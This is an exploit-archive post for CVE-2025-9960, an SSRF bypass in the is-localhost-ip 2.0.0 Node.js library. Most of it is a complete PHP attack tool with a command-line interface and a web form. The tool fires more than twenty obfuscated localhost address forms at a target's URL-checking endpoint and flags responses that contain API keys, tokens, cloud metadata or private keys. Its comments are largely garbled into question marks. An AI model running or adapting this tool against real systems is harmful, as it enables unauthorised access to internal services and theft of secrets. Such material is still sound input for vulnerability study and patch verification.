is-localhost-ip 2.0.0 Restriction Bypass

The `is-localhost-ip` package is designed to verify if an IP The `is-localhost-ip` package is designed to verify if an IP address targets localhost or a private network, crucial for preventing Server-Side Request Forgery (SSRF) attacks.

Version 2.0.0 contained a critical restriction bypass vulnerability. Its validation logic failed to correctly identify certain IPv6 representations of localhost, specifically `[::1]` and its expanded forms, as well as some IPv4-mapped IPv6 addresses.

This allowed malicious actors to craft requests that bypassed the intended security checks. Applications using `is-localhost-ip` 2.0.0 were thus vulnerable to SSRF, enabling attackers to access internal services, sensitive data, or interact with local machine resources.

The issue was promptly addressed in later versions. Users were strongly advised to upgrade to a patched version to mitigate this risk.

=============================================================================================================================================
| # Title : is-localhost-ip 2.0.0 Restriction Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/tinovyatkin/is-localhost-ip |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/211369/ & CVE-2025-9960

[+] Summary : is-localhost-ip (v2.0.0) is a compact, dependency?free JavaScript library (~100 LOC) designed to determine whether a given hostname or IPv4/IPv6 address refers to the local machine
The vulnerability does not affect the browser or the operating system.
It affects the application layer, specifically Node.js applications that rely on the is-localhost-ip library for SSRF protection.

Any Node.js (commonly Express.js) service that imports and uses:

const isLocalhost = require("is-localhost-ip");

to block loopback access can be bypassed due to incomplete IPv6?mapped address handling.

So the impacted target is:

Node.js application (e.g., Express server) using is-localhost-ip v2.0.0

Not:

? Browser
? Operating system

But:

? Node.js application using the library

[+] POC : * Usage: php exploit.php --target=http://victim.com:3005

<?php
/**
* SSRF Exploit for is-localhost-ip 2.0.0
* Author: indoushka
*/

class SSRFExploit {
private $target;
private $internalEndpoint;
private $timeout = 10;

// ???? ??????? localhost ????????
private $localhostVariants = [
// IPv4 standard
'127.0.0.1',
'127.0.0.01',
'127.000.000.001',

// Hexadecimal
'0x7f000001',

// Decimal
'2130706433',

// Octal
'0177.0.0.01',
'0177.000.000.001',

// IPv6
'[::1]',
'[::ffff:127.0.0.1]',
'[::ffff:7f00:1]',
'[0:0:0:0:0:ffff:7f00:1]',

// Shortened forms
'127.1',
'127.0.1',

// DNS
'localhost',
'local',
'loopback',
'ip6-localhost',

// Word variations
'localtest.me',
'localtest',
'127.0.0.1.nip.io',
'127-0-0-1.nip.io',
];

public function __construct($target, $internalEndpoint = '/secret') {
$this->target = rtrim($target, '/');
$this->internalEndpoint = $internalEndpoint;
}

/**
* ?????? ???? ?????????
*/
public function testAllVariants() {
echo " Starting SSRF Exploit against: {$this->target}\n";
echo " Testing localhost bypass variants...\n";
echo str_repeat("=", 80) . "\n";

$results = [];
$successCount = 0;

foreach ($this->localhostVariants as $variant) {
$result = $this->testVariant($variant);
$results[] = $result;

if ($result['success']) {
$successCount++;
echo " SUCCESS: {$variant}\n";
echo " Response: " . substr($result['response'], 0, 200) . "...\n";
echo " Full URL: {$result['url']}\n";
echo str_repeat("-", 80) . "\n";
} else {
echo " FAILED: {$variant}\n";
echo " Reason: {$result['error']}\n";
echo str_repeat("-", 80) . "\n";
}

// ????? ???? ????? ?????
usleep(500000); // 0.5 ?????
}

// ??? ???????
$this->showResults($results, $successCount);

// ??? ??????? ?? ???
$this->saveResults($results);

return $results;
}

/**
* ?????? ????? ????
*/
private function testVariant($variant) {
$port = 3005; // ?????? ?????????
$testUrl = "http://{$variant}:{$port}{$this->internalEndpoint}";
$encodedUrl = urlencode($testUrl);
$attackUrl = "{$this->target}/check-url?url={$encodedUrl}";

try {
$ch = curl_init();

curl_setopt_array($ch, [
CURLOPT_URL => $attackUrl,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (SSRF-Test)',
CURLOPT_HTTPHEADER => [
'Accept: application/json,text/html',
'X-Forwarded-For: 127.0.0.1',
],
]);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
return [
'variant' => $variant,
'success' => false,
'error' => "CURL Error: {$error}",
'url' => $attackUrl,
'http_code' => 0,
'response' => ''
];
}

if ($httpCode === 403) {
return [
'variant' => $variant,
'success' => false,
'error' => "Blocked (403 Forbidden)",
'url' => $attackUrl,
'http_code' => $httpCode,
'response' => $response
];
}

if ($httpCode === 200) {
// ???? ??? ??? ???? ????? ??? ?????? ?????
$isSensitive = $this->checkSensitiveData($response);

return [
'variant' => $variant,
'success' => $isSensitive,
'error' => $isSensitive ? "" : "200 OK but no sensitive data",
'url' => $attackUrl,
'http_code' => $httpCode,
'response' => $response,
'sensitive' => $isSensitive
];
}

return [
'variant' => $variant,
'success' => false,
'error' => "HTTP {$httpCode}",
'url' => $attackUrl,
'http_code' => $httpCode,
'response' => $response
];

} catch (Exception $e) {
return [
'variant' => $variant,
'success' => false,
'error' => "Exception: " . $e->getMessage(),
'url' => $attackUrl,
'http_code' => 0,
'response' => ''
];
}
}

/**
* ?????? ?? ???? ?????? ????? ?? ????
*/
private function checkSensitiveData($response) {
$sensitivePatterns = [
'/apikey/i',
'/secret/i',
'/token/i',
'/password/i',
'/key/i',
'/private/i',
'/aws/i',
'/azure/i',
'/gcp/i',
'/metadata/i',
'/admin/i',
'/credential/i',
'/jwt/i',
'/bearer/i',
'/ssh/i',
'/rsa/i',
'/BEGIN.*PRIVATE.*KEY/i',
];

foreach ($sensitivePatterns as $pattern) {
if (preg_match($pattern, $response)) {
return true;
}
}

// ???? ?? JSON ????? ??? ?????? ?????
if ($this->isJson($response)) {
$data = json_decode($response, true);
if (is_array($data)) {
$sensitiveKeys = ['apikey', 'secret', 'token', 'password', 'key'];
foreach ($sensitiveKeys as $key) {
if (isset($data[$key])) {
return true;
}
}
}
}

return false;
}

/**
* ?????? ??? ??? ???? JSON
*/
private function isJson($string) {
json_decode($string);
return json_last_error() === JSON_ERROR_NONE;
}

/**
* ??? ??????? ????????
*/
private function showResults($results, $successCount) {
echo "\n" . str_repeat("=", 80) . "\n";
echo " EXPLOIT RESULTS SUMMARY\n";
echo str_repeat("=", 80) . "\n";
echo "Target: {$this->target}\n";
echo "Total Variants Tested: " . count($results) . "\n";
echo "Successful Bypasses: {$successCount}\n";
echo "Blocked/Failed: " . (count($results) - $successCount) . "\n";
echo str_repeat("-", 80) . "\n";

if ($successCount > 0) {
echo " VULNERABILITY CONFIRMED!\n";
echo " SSRF Bypass Successful\n\n";

echo "Successful Variants:\n";
foreach ($results as $result) {
if ($result['success']) {
echo " ? {$result['variant']}\n";
echo " URL: {$result['url']}\n";
echo " Response Preview: " . substr($result['response'], 0, 100) . "...\n\n";
}
}
} else {
echo " Target appears to be protected\n";
echo " No successful bypasses found\n";
}
}

/**
* ??? ??????? ?? ???
*/
private function saveResults($results) {
$filename = 'ssrf_results_' . date('Y-m-d_H-i-s') . '.txt';
$content = "SSRF Exploit Results\n";
$content .= "Target: {$this->target}\n";
$content .= "Time: " . date('Y-m-d H:i:s') . "\n\n";

foreach ($results as $result) {
$content .= str_repeat("-", 60) . "\n";
$content .= "Variant: {$result['variant']}\n";
$content .= "Success: " . ($result['success'] ? 'YES' : 'NO') . "\n";
$content .= "HTTP Code: {$result['http_code']}\n";
$content .= "Error: {$result['error']}\n";
$content .= "URL: {$result['url']}\n";
$content .= "Response:\n{$result['response']}\n\n";
}

file_put_contents($filename, $content);
echo "? Results saved to: {$filename}\n";
}

/**
* ???? ????? ???????? IP ?????? ?? ????????
*/
public function customAttack($customIp, $port = 3005, $endpoint = '/secret') {
echo " Custom Attack with IP: {$customIp}\n";

$variants = [
$customIp,
$this->decimalToIp($customIp),
$this->ipToHex($customIp),
$this->ipToOctal($customIp),
"[::ffff:" . $this->ipv4ToHex($customIp) . "]",
];

foreach ($variants as $variant) {
echo "\nTesting variant: {$variant}\n";
$result = $this->testVariant($variant);

if ($result['success']) {
echo " SUCCESS!\n";
echo "Response: " . substr($result['response'], 0, 200) . "\n";
return $result;
}
}

echo " All variants failed\n";
return false;
}

/**
* ????? IP ??? ????? ????
*/
private function ipToDecimal($ip) {
$parts = explode('.', $ip);
if (count($parts) !== 4) return $ip;

return ($parts[0] * 16777216) +
($parts[1] * 65536) +
($parts[2] * 256) +
$parts[3];
}

/**
* ????? IP ??? ????? ????
*/
private function ipToHex($ip) {
$decimal = $this->ipToDecimal($ip);
return '0x' . dechex($decimal);
}

/**
* ????? IP ??? ?????
*/
private function ipToOctal($ip) {
$parts = explode('.', $ip);
if (count($parts) !== 4) return $ip;

$octalParts = array_map(function($part) {
return '0' . decoct($part);
}, $parts);

return implode('.', $octalParts);
}

/**
* ????? ???? ??? IP
*/
private function decimalToIp($decimal) {
return long2ip($decimal);
}

/**
* ????? IPv4 ??? ????? ???? ?? IPv6
*/
private function ipv4ToHex($ip) {
$parts = explode('.', $ip);
if (count($parts) !== 4) return $ip;

$hexParts = array_map(function($part) {
return str_pad(dechex($part), 2, '0', STR_PAD_LEFT);
}, $parts);

return implode('', $hexParts);
}
}

/**
* ???? CLI ????????
*/
function showHelp() {
echo "SSRF Exploit Tool for is-localhost-ip 2.0.0\n";
echo "Usage:\n";
echo " php exploit.php --target=http://victim.com:3005\n";
echo " php exploit.php --target=http://victim.com:3005 --custom=127.0.0.1\n";
echo " php exploit.php --target=http://victim.com:3005 --endpoint=/admin\n";
echo " php exploit.php --help\n\n";
echo "Options:\n";
echo " --target Target URL (required)\n";
echo " --custom Custom IP to test\n";
echo " --endpoint Internal endpoint to access (default: /secret)\n";
echo " --port Port number (default: 3005)\n";
echo " --help Show this help\n";
}

/**
* ???????? ?? ??? ???????
*/
if (PHP_SAPI === 'cli') {
$options = getopt('', ['target:', 'custom:', 'endpoint:', 'port:', 'help']);

if (isset($options['help']) || !isset($options['target'])) {
showHelp();
exit();
}

$target = $options['target'];
$endpoint = $options['endpoint'] ?? '/secret';
$port = $options['port'] ?? 3005;

$exploit = new SSRFExploit($target, $endpoint);

if (isset($options['custom'])) {
// ???? ????
$customIp = $options['custom'];
$exploit->customAttack($customIp, $port, $endpoint);
} else {
// ?????? ???? ?????????
$exploit->testAllVariants();
}
} else {
// ????? ??? ?????
?>
<!DOCTYPE html>
<html>
<head>
<title>SSRF Exploit Tester</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 800px; margin: auto; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; font-weight: bold; }
input[type="text"] { width: 100%; padding: 8px; border: 1px solid #ddd; }
button { background: #007bff; color: white; border: none; padding: 10px 20px; cursor: pointer; }
.result { margin-top: 20px; padding: 15px; background: #f8f9fa; border-left: 4px solid #007bff; }
.success { border-color: #28a745; background: #d4edda; }
.error { border-color: #dc3545; background: #f8d7da; }
</style>
</head>
<body>
<div class="container">
<h1> SSRF Exploit Tester</h1>
<p>Test for CVE-2025-9960 (is-localhost-ip bypass)</p>

<form method="POST">
<div class="form-group">
<label for="target">Target URL:</label>
<input type="text" id="target" name="target"
placeholder="http://victim.com:3005" required>
</div>

<div class="form-group">
<label for="endpoint">Internal Endpoint:</label>
<input type="text" id="endpoint" name="endpoint"
value="/secret" placeholder="/admin, /internal, etc.">
</div>

<div class="form-group">
<label for="custom">Custom IP (optional):</label>
<input type="text" id="custom" name="custom"
placeholder="127.0.0.1, 192.168.1.1, etc.">
</div>

<button type="submit" name="test">Test SSRF</button>
<button type="submit" name="quick">Quick Test</button>
</form>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$target = $_POST['target'] ?? '';
$endpoint = $_POST['endpoint'] ?? '/secret';
$customIp = $_POST['custom'] ?? '';

if (!empty($target)) {
$exploit = new SSRFExploit($target, $endpoint);

echo '<div class="result">';
echo '<h3>Test Results:</h3>';

if (isset($_POST['quick'])) {
// ?????? ????
echo '<p>Performing quick test...</p>';
$quickVariants = ['127.0.0.1', '0x7f000001', '2130706433', '[::ffff:7f00:1]'];

foreach ($quickVariants as $variant) {
$result = $exploit->testVariant($variant);
echo $result['success']
? "<p class='success'> {$variant}: SUCCESS</p>"
: "<p class='error'> {$variant}: FAILED</p>";
}
} else {
// ?????? ????
$results = $exploit->testAllVariants();
}

echo '</div>';
}
}
?>

<div class="result">
<h4> About This Exploit:</h4>
<p>This tool demonstrates SSRF bypass in is-localhost-ip v2.0.0</p>
<p><strong>CVE:</strong> CVE-2025-9960</p>
<p><strong>Vulnerability:</strong> Server-Side Request Forgery via localhost restriction bypass</p>
<p><strong>Test Variants:</strong> 20+ localhost representations</p>
<p><strong>Use Responsibly:</strong> Only test on systems you own or have permission to test</p>
</div>
</div>
</body>
</html>
<?php
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================